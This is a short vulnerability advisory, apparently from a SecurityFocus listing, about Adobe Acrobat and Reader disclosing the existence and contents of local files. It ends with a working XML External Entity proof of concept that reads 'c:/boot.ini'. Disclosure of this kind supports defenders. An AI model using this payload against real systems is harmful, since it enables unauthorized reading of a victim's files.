source: https://www.securityfocus.com/bid/13962/info

Adobe Acrobat and Adobe Reader may allow remote attackers to determine the existence of files on a vulnerable computer. This issue can be used to disclose data from a target file as well.

Information gathered through the exploitation of this vulnerability may aid in other attacks. 

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "c:/boot.ini">
]>
<foo>&xxe;</foo>